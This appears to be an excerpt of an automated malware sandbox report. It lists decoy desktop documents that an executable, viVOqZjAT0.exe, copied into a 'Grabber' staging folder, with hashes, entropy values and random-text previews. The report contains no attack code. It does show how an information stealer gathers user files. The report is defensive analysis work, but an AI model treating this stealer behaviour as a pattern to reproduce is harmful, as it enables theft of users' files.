Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\ONBQCLYSPU.xlsx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\ONBQCLYSPU\HTAGVDFUIE.pdf

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.692693183518806
Encrypted:	false
SSDEEP:	24:FrPOQ32qakAnGkyNl2g/fQJnKVOvsyX1aZKx1aHEg:53Sq9/fiK4XQfHEg
MD5:	78F042E25B7FAF970F75DFAA81955268
SHA1:	F7C4C8DDF51B3C5293E0A92F6767D308BBF568B4
SHA-256:	E4C9709AFEA9D9830CED1AA6DF1711D0332A5972688640368DDC32C07C0D5D17
SHA-512:	CE2548833F62C549CA0268BE445E517AC986CA44EA52916A153DFFE4D7FA59B703E5927DFE70836E8B082C246793DF2066D72DB4A6E1C948940E88C524952348
Malicious:	false
Preview:	HTAGVDFUIELGZFCTZZGRSQISCXMOKSCAZEJVAPBPJKABIZKEGFAGMGOIUPHPJOYIWMVIKWCNUOWDMGCFXJQANMMOULIVTQQGUZVVOLZWBYTHYOHMMVIMTTBBCAIGONNRVEUMTCTCEMTWFNDSQPHEPLAFZAKYSROZKRQDUZOUZIKJGJRIBJODHOULJHWQBIJSAIYMXLFOSFOEFKTQPEEWFTFCIFSLHXSXYXBWTPCWMCGPETOSVLNKYCONFWCIUFEQKOWQNQKJSIZKNZXOQWMTJOGWDBUFBKDXUPYYIXUTOPSOVWLVKIOKFPSXDAVMBUZIYYZUQTDLZIMRRGXLTOEJMFWLOMNPNLICPZPKTHPXELGBYTJLOJOEWNRDNMXXRYMAJBWCTNMBREIJDVVIXEHEGYQKZQCGLVHOCMUSKXCQQMURLYKWUIUMFSGYMZUQXCTZOKQYXJAUDEVTSOOQUKZKKEEOANGSIIWTUVEGHTCOTXCDTCZIFUAWDLWKDNQTUAXBCRBKEGHCEPWTXOQVBWKIXLQEUCHHRHMKWOVVBFOLNUHSLLMHOOFDQCOVQVCNKKYOGNPYFHMPHXNPOTANYIGKSXGYDKBAEAYCNSDEQRTDZXKUOIUOHOMJPCCDXHJTXLKPCLAKLUNDAFZVUXKBSBAWUIBEQFANHTKLDXHBVLMBIXZUPHFUIHTECGPPEITWIRPTQHJDDRMAQERQMDOELBOQSEMMMCCUPQVDZXOFFYQSEIDXDPFNKRGYVUDDHHQGPRFUFAJOKTJSGMHWRXPZFPTHUACEOFEZUYOSJGJLFUTHTDWBPUETPFOWWTNVGDPCHGGCYSORPYRNRZVFDIQZLGVXSZLKMPDVKQURMLSZDDXVNBPXKBLQIKBTAWLYTZWTFUNWLSZPWUWBVBXUJMBCFHPMBIRGLQAWDQTJEHKOGMUTEILXROVHXNUORTTYMCMDGNZYCCCTIABCKYPUCGPPUUSBWLIPYZKIMRHFVZCGDPKZ

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\ONBQCLYSPU\LTKMYBSEYZ.jpg

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687722658485212
Encrypted:	false
SSDEEP:	24:gTVIxDsK0PxMQbXpEHH8+976o9VWmCUGGFT3IIU8wyG33bu3jUn:gZIxDW5lj02otC1G5IIUF/n
MD5:	9A59DF7A478E34FB1DD60514E5C85366
SHA1:	DE10B95426671A161E37E5CE1AD6424AB3C07D98
SHA-256:	582393A08E0952F43A544A991772B088CC77CE584F8844DE6C5246BA36E703D5
SHA-512:	70B4673D358E097AB2B75633A64A19C16E1422C81B6B198D81BF17B7609BFB4ACF5DE36228FF3884C5B9BA0A15E13F56C94968E5136B497C826F3D201A971B00
Malicious:	false
Preview:	LTKMYBSEYZYLWBDLQYQSGHCEKOMUGSMOJLJVFHAICZAEQCNCBEGUYSPUJHNJSDQTVUPUFCNWSVXGWFVWMFIWRQGVLGYUUBXDZXYJMKPAQTJLYUZTWHPYSRLPQBTKDHEWTTWLDXITQQAGNHQLMCYZCGICKEHUUXVCXHMYJQQYOQIXMRPWDNHFRXHXUHBSJQQHJNETRHWEBONEJBHTDQQNCEMAEDULTTSDIGDGEYCFSHOYFMDRTHCJKCFEFLMLVJNHUTISDTYYKQXVYELRXTCPVMTHGMXSDMUSFEPIIFBHCRRCGWXNWEXQGIUUAYBLCIBZGCXXZYYFPOIAUUAZEORINBBTOZEUXMAZYFVDWGLZZHOHNZHSEJYZULRNGAFKDQXEYHMJWAZXCTSLOIDSVWCDDAJVQOZRXWVWCMYQCKXRQMOHVCMJHXERQTMBGRETHKBIQULAPJVABDGMJDULEZZHMATXEUVKGXGGFBUQPNFRZOPVDFONCFHWZHXDJQQLBBLRNEDPABSGIFBWEQTJAGKFRSLLFIXBIADJYQFXLIYTRHHMHAEDZRJJZZSOCKJNBHWWZEZXGEEJOALVQSBDQTYEHCQVMQMBKNHLBFIRUKLCVRFKGJWGONQGFFIPLGGCUDTZOLCUDDOARJHBVHHRZEYWWKNFEXBVKDTVKTGDMSUOSIIJKKXODRUCUDQHPOJRJZICJUGIDYTFJNVOJIFAVDFPGFTUQFDWLLALACJUWFIKJDQRZQVIIULGPKDOEMRGWVXSLFQHDVZJLHRKVFDXZZCYMKQTRZIBEAHUAXZFKIOBFQACDYLWSHXGVQBAYTXLOISPDOUTEJPQXZNCWCWFKRYQGOEIQEKGUMTCROZMZMVLTCMMBZZHLSYRTDCWSSQEKPTOUQZYPJDCZQTZSHURDOLLYIYFPIECQEHEYPDXHDRIYSOEILWHEODCIXNORCUDGORDQCYVQHNTVIZVMIQLRODCUBWDVZCRJJNXNJQMHPXE

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\ONBQCLYSPU\ONBQCLYSPU.docx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699434772658264
Encrypted:	false
SSDEEP:	24:Khfv+VFngw6i0t5Ut+l3kHwMDkhBlBAMFPxYaija:pvl6Pt5uQ3kQ0khBl1VxYpu
MD5:	02D3A9BE2018CD12945C5969F383EF4A
SHA1:	085F3165672114B2B8E9F73C629ADABBF99F178D
SHA-256:	6088E17DB4C586F5011BC5E16E8BF2E79C496EB6DAE177FF64D9713D39D500CA
SHA-512:	A126D98EE751D0FB768E4DB7D92CBC6AE7852FEE337B85ED045D871DB321C6C98FD58A244D058CA3F41348216C68CB4A37FA854980BB16D358AA62A932DD867E
Malicious:	false
Preview:	ONBQCLYSPUBDAQCIGYNWXHPENQNLJZGXCHXSNXZNCZBUHYDXPEMCJPAWYQSVHMGKHJUFFFYDAXDAHOLOAZEPTWZTWDGPFLXMMCXLCIIJOXMVRNMUMTICVHQSWNAGIYCQBOZZHONWWBXKDUJYBRPSLNFGTUIFTNGJEATOXKHEFMERAQZVBMQGKZUKXDBMGRJDOOGATZZKQMEZJRWZVAZRPQTVWPETCIMLPMYNWZLVLXRPUUKLNIMTYDNYIJTZEFJDNMWTOFFKRRINCRDCFGJAJNMYQHGXGVHVYPEUFBNUIGUVGBYQKIAJLIVACVIHEGZIYKSROURNGZSCTUKBKFFCGPXAONPDEBIZJRKCFYHATDXLXYKGLWXBCHJERCRNMKESIMBDNPMPBWXSVSEAAUEKEGUIJBZLAESAFZHMBLPPKMNTZAZIIYSHMWJBFTZZSKYNFJYSBRLGVHOWZUQHXUSSJESIEKHZLTLILMSMJZHXFWGJQNWQCDLXEWBZPGBTVDVCPPUFLFGNZRUKJOANJVXVTXLOQLFUIVEWTCBKOBYZMAOTIMQMJYRYLSOLSSACCLCFTVXCKKJDNWQAETNXHIOQCDTXLLVEQLNLGDIOULNFNNDXTVYYSPDWWZHDSYHBRXMUAAHJIGSGLSFKCGADPUAASYZFEZWHYDLQDUCHJXMNMTNCDCMNIJQCSGEQOGVGYBYPMTZBBFOACZMMKVFNELOMGSTCQUDRFKLFGOHOTZKZCWJWDRECGYETFYOWLYECGICMGUKZRVNHUQTLQLHUTPRZXBVYMPAFBLSWKSSKBGWCWBFEEZIAZUZGEYMYBSXYUCHEALFJRSGWQJMABNQHSZANDDTYMVJKXFFFDEENZAGRGVLHFELVOSGTXVOOPFGCQDSFWOYKKOYUHFWMXWPLHFIIPORMEJNOFYMJRBAZLYTIOKEFIWPDZUKMIWKLZXBOESUCXZXQSCMQKDKFBCHJMPMZHELLNSYYEJNBRRXVBMPD

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\ONBQCLYSPU\UMMBDNEQBN.xlsx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\ONBQCLYSPU\WUTJSCBCFX.png

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.688284131239007
Encrypted:	false
SSDEEP:	24:94BsLCi4I4Bpno3+PqX1T1MziEko3RYNdEK:alI4BjP4x9JGK
MD5:	E8ACCA0F46CBA97FE289855535184C72
SHA1:	059878D0B535AEE9092BF82886FC68DC816D9F08
SHA-256:	CFB1D698291CFF6EFE21CB913EDEB823FA6F84B5F437F61ED9E04C6A80CC4DCD
SHA-512:	185601B848EDE2A752D1DC0534A2593231C67AF68E506DD3BA05D93435780F378250B27898CBD61F225C5FE6AB72CD21638C6159FC2D107767D2AB43547E0E71
Malicious:	false
Preview:	WUTJSCBCFXNSEWGLWGYOOQVVDPFNFUMPQAJVNXNKMXQRORVUIYYNQWAMOZTIZPEADOKEPDLVMNENFIICEKOTBVPODCEHVNDEMTCADGQBTUSRFDCQOFZZQCSIEKBJNREDYYVFOXFLSAVVRDBODQPUEQUZAVGFLXOWSKRTDQOYTNPZUFOPXFJPIZPUZNQGPAVLZQOLZQMEBSIDSSSOCJNYRGTGEHRLTXLSBXCVGBOIDKKEIUHPVJXFIBUKHHHIZJXBNSFVSIBUVDLJVQHLZQNPKVUYGSBYLDPVSZZIAGXVZKTZMOMHKJTCACLNIHVZQOYHZUOCHMTDPXWSWWCTZKVXUPJXTUQVYKVNBTOOXYSOQYGOROUJYIQIBLZXWHWHSDDSIDRAQBFHFUASJJFJZGJMXLKHMELZDCBSAECBJUYDLONQSYTFIGRFXVYQXQGOAYYQXFJQFPARQPKZARUFLFZALPMOXFKFAAFQYQJSBYRLXSYWILKBWNNKNPTXDFHFCBTUEWYUGEMBZMEFHNMBDRELQEYFKIFARDWZODMHWXQBTISSHAEWZTVFJRKELIBQQEXSWFZUGGGKZXSPWOXYPOCCJIHNGOPVFNWYZRPTOWAGQPVVZLHPYYBDQTUFWFIVGYOBQSXERHTUDUHOJIRJFKQQOOIXOHPHYQPYDGSQQNOEUWFVOVYMHEJBARDLGPVSTERBBBFSGVNSUAZCVAXBSTLPAQENSALLVBNGJHCERSSMMHCALJSZJJKDFYFVTEQEUIBYNZPMUJQZNJVUGNGKENCJKNBTKBYOEUUGFFKIBVHNAUHYEUNDBZPKFZERTSXYHOMVAJJBPSNOOYHZFWINWEJCFGHKIORUHARZYNBKYMOWZHDVWQBITESVLGVECBBJDDHUCWOJFWBQJSKRWHJPPGEKBDXIPJJDDYHGUCDCBZQDUVHEBPPQBUDSOAYQTNFMYUBRJNRJFSMUCNFWURFGGIHZFMXDVIINVRGXSRYXBYBI

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\UMMBDNEQBN.jpg

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\UMMBDNEQBN.xlsx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.695685570184741
Encrypted:	false
SSDEEP:	24:SYuCgqv/1uycbC6SHsJPWXpOxTeVtblICcFX4xlyzK7y45wR39IRh:S1CPvsC6YE+XgleVtbQuKGf5M39IRh
MD5:	A28F7445BB3D064C83EB9DBC98091F76
SHA1:	D4E174D2D26333FCB66D3FD84E3D0F67AF41D182
SHA-256:	10A802E683A2C669BB581DE0A192C8291DD2D53D89A2883A59CC29EB14453B93
SHA-512:	42526FEC4220E50DB60BD7D83A07DEB9D5BE4F63AD093B518E9ECC86B779210B0170F6F64C9F16064D50CB12F03643BAC9995D4F3C0AFD5F8D38428D57ADE487
Malicious:	false
Preview:	UMMBDNEQBNVIMBNGHYZCBKXWMQJKYISTANSRNFXXBKALIIEMEWAFQEPTEMZCIXXNMQBGOXWSDYSAWKIYPJITNREMVRXPPJZFUTMGRRRGTCHVLEWVUJGZEUQVONQVACEFWZUCIAFXPFGXIUOOBZEEMGMWJQIEKKICYJJWAFUKYZAJEGUQKGDPRPXCOWIPBRUGHWDFZLGSKZVCHVVPGLEFNGIVLBVNAOVXAPGATADJBIQTBNJGWXRSEYKCSVZOSTCBHYFHUDEWNGEIFCVREPZDZDZRITFEVFCQQWJYZXPUKJWHTWGWASTKDCAVEWZOIGFZHRWCJBVRLDWGVKPABCQUOHQIMLUFUGYGMPGPEMSRPPSGWIGRVPBGZIWLNEVYFFJBCMBSXVABNRNXULCTUAANAXDHKZOGVCNQZHMRBENWTTLQVVMDLNBEWHLPZHMPDGRLJWAQJDJRCWTFWIOLAURRCSMFJOCFDKUGPLTPABARXKPCRXOIHHVRWXAKGHOTYLCEQQYYDKVZQSYLCAEGGBQMMJGSNJWBTJXSVALINNRLURMPNGFXHJRVJIKQJSDLNIOXGIGDFDCOTGGXMDLTDYSIKCMPVINDDXXQCEQCRUBLFEWMYMSEGUHIKIGUYOMOXSKOTVNUNGWUFYKYRNZXOOTSRYXLZHRZXNEDJUNPYGNIIZSPVQBOLBRRRWGDMQWUTRSZWBYMXNMLKLFNZWJVDDPMJOXTVBMYRXNQFGBLURKFIUAHJBFFXNWQDYRLZADYGMETNXEOXLOJKYQPEYHUVTFGXQTGPQBWZQTVFXZFUVQERQZJCYYPFBYONAVFDOLTNRGWQYGSYWCWUWRETJZGVJMEFQTYPOLONVZFREVORMBQJOCLOALCJHHCHQSHKLUNBIRHRBSQSMERLKKFTGHUQKRPFIIELZZVXZVNHCIQYYXNMJNSOZOIRGGJKUWXNCWSNCFMGQIQVNKVIGRCLSDWQPEDLSLTGBRXRTMGFWYQSCLN

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\VLZDGUKUTZ.docx

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
Preview:	VLZDGUKUTZXKWULZBWDOTEIBVHVGPZOMETVGLHEKQQVYNUMUAOLBNSHZYTRKXENILISUHDAEEZWZEUNNMWJTKJJOLHKIGJBIHEMLZPVHEUDLHUZCSBUYGAPQSLHCFWHXEYFYTFGZTQNGXBIUAIOYCCCESLXKQMZDVXCDPKMYSWUFQOOGYCQASGJXLVOEKXBOBXDUKGAWAMSEHSFOUBZESSHGPVUWBSAXMDDSNTFJRIJVCYNCFLCMAYHAQBOVOYCQICAPOEIAOZZDHRFCBPBIJRAALGUMCZXSSRKWWTLWRCAGMBKLQATMELORFDRFOPMXYZUWVDECUBFKJYGAVNPIZHJACVPSNOSYGMZANGHNGZCHMGRVBLZWYXERUYHSGKNYMBIUOUVRRQZNFUEYVDSYNZOGCQQJBPAGGARUGCQGPSYMVKYFEATFTUASPFCLAYVPLRCXWCNIABDDVKSFBVZOWZJRZCFQZOXEFZYNRBPBMSHMJFACGUVZUTNGJUEWYWGPCEUFNJTHREUEIHDYXUSJMKBAJVWGYJBJZIRJSRNLDQEVFZAKVMKFJSIHDAKHIEZERYMCSJLFMAKTAGUIBEYUESOJBCXDNFVMNZJABIUVYPQJTWFYBZJPMWLOIHNHFGQHJMNWDFCATRHJYRIXKFJEEOLVSFDPTZNPUFUNEEOLRHVCPOPPOMEZBYTGJKKWUQRHCTFVKQBJAPTOLZADSWVPJYRGRDUWSTNCXLPQDMPVWSSFEHFWHSYNGNHOYZMFADSOTZRZJWXBGUPDZLPMKTZHVIXOFUFHPBTLFRGMMRKOTCWSSRSSXZJNZJGFXMQMXYXKQOFUEAKEJMGPTQUQWYKCZWFGOGJXTRBDEBXQWSDHUFBWIRPNOOENTWWFRIBLZBMAFTMZPLFLLVKTGMUXNKLRFNYLEFNKJWPWNLANWBRDASFRDJUPHVZRHEFBINQCKMOVMQOLDBWPTMYMMFRCLWITZRVFLDSOIFRMJCCQXYLT

C:\Users\user\AppData\Local\ae40544d7874da0b6d483ec81ec2d631\user@899552_en-CH\Grabber\DRIVE-C\Users\user\Desktop\VLZDGUKUTZ.pdf

Download File

Process:	C:\Users\user\Desktop\viVOqZjAT0.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.701757898321461
Encrypted:	false
SSDEEP:	24:JTbqccbbEKOWHOHPG9HXJMTwDwW63KkUdx/d:JTbmzOxeRaTaq3KBL/d
MD5:	520219000D5681B63804A2D138617B27
SHA1:	2C7827C354FD7A58FB662266B7E3008AFB42C567
SHA-256:	C072675E83E91FC0F8D89A2AEC6E3BC1DB53ADF7601864DDC27B1866A8AEEF4D
SHA-512:	C558140907F6C78EB74EE0F053B0505A8BB72692B378F25B518FA417D97CCB2D0A8341691BECAA96ADCE757007D6DC2938995D983AAC65024123BB63715EBD7C
Malicious:	false
